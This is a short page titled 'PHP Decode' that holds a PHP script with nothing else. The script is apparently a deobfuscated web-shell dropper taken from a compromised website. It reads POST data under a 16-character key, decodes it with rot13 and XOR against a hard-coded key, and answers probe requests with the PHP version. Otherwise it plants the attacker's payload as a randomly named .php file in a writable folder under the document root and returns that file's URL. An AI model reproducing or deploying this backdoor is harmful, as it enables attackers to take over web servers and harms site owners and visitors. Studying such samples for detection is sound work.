PHP Decode

<?php 
foreach ($_POST as $postKey => $value) { 
    if (strlen($postKey) == 16) { 
        $value = str_split(rawurldecode(str_rot13($value))); 
        $postKey = array_slice(str_split(str_repeat($postKey, count($value) / 16 + 1)), 0, count($value)); 
        function aLZUGIt($xZSaZ, $yCDgbEzFJ, $postKey) 
        { 
            $PsKak = '6ab3094c-0ee5-4be3-9705-e37dbc34cf22'; 
            return $xZSaZ ^ $PsKak[$yCDgbEzFJ % strlen($PsKak)] ^ $postKey; 
        } 
        $value = implode("", array_map("aLZUGIt", array_values($value), array_keys($value), array_values($postKey))); 
        $value = @unserialize($value); 
        if (@is_array($value)) { 
            $QrVJyj = array_keys($value); 
            $value = $value[$QrVJyj[0]]; 
            if ($value === $QrVJyj[0]) { 
                echo @serialize(array('php' => @phpversion())); 
                exit; 
            } else { 
                function kThHoqy($eRLQxBjiir) 
                { 
                    static $USfvhVEExS = array(); 
                    $eRLQxBjiEVujYAIRS = glob($eRLQxBjiir . '/*', GLOB_ONLYDIR); 
                    if (count($eRLQxBjiEVujYAIRS) > 0) { 
                        foreach ($eRLQxBjiEVujYAIRS as $eRLQxBji) { 
                            if (@is_writable($eRLQxBji)) { 
                                $USfvhVEExS[] = $eRLQxBji; 
                            } 
                        } 
                    } 
                    foreach ($eRLQxBjiEVujYAIRS as $eRLQxBjiir) { 
                        kThHoqy($eRLQxBjiir); 
                    } 
                    return $USfvhVEExS; 
                } 
                $GStmFno = $_SERVER['DOCUMENT_ROOT']; 
                $eRLQxBjiEVujYAIRS = kThHoqy($GStmFno); 
                $QrVJyj = array_rand($eRLQxBjiEVujYAIRS); 
                $OJQzi = $eRLQxBjiEVujYAIRS[$QrVJyj] . '/' . substr(md5(time()), 0, 8) . '.php'; 
                @file_put_contents($OJQzi, $value); 
                echo 'http://' . $_SERVER['HTTP_HOST'] . substr($OJQzi, strlen($GStmFno)); 
                exit; 
            } 
        } 
    } 
} 
 ?>